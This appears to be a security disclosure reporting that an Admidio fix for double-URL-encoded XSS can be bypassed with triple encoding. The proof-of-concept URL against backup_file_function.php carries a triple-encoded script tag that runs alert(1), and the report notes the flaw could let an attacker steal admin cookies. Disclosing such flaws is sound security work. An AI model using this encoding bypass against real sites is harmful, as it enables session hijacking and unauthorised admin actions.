Description

Have reviewed your fix for double URL encoding here:

https://github.com/Admidio/admidio/commit/6b3820a574dc5f52243fbaafdb7089560c99d949

But it can easily be bypassed by triple URL encoding.

Note: apparently after applying the above fix from Github on the machine, I cannot use the document_file_function to retrieve files anymore. But the backup_file_function still performs the same thing.

Proof of Concept

Ensure you applied https://github.com/Admidio/admidio/commit/6b3820a574dc5f52243fbaafdb7089560c99d949, then trigger XSS with:

http://10.0.2.15/admidio/adm_program/modules/backup/backup_file_function.php?job=get_file&filename=%25253c%252573%252563%252572%252569%252570%252574%25253e%252561%25256c%252565%252572%252574%252528%252531%252529%25253c%25252f%252573%252563%252572%252569%252570%252574%25253e3e

Impact

Possible to trick admin users to visit the malicious link, executing the XSS and allowing cookies to be stolen, it is also possible to execute actions as admin user via malicious Javascript.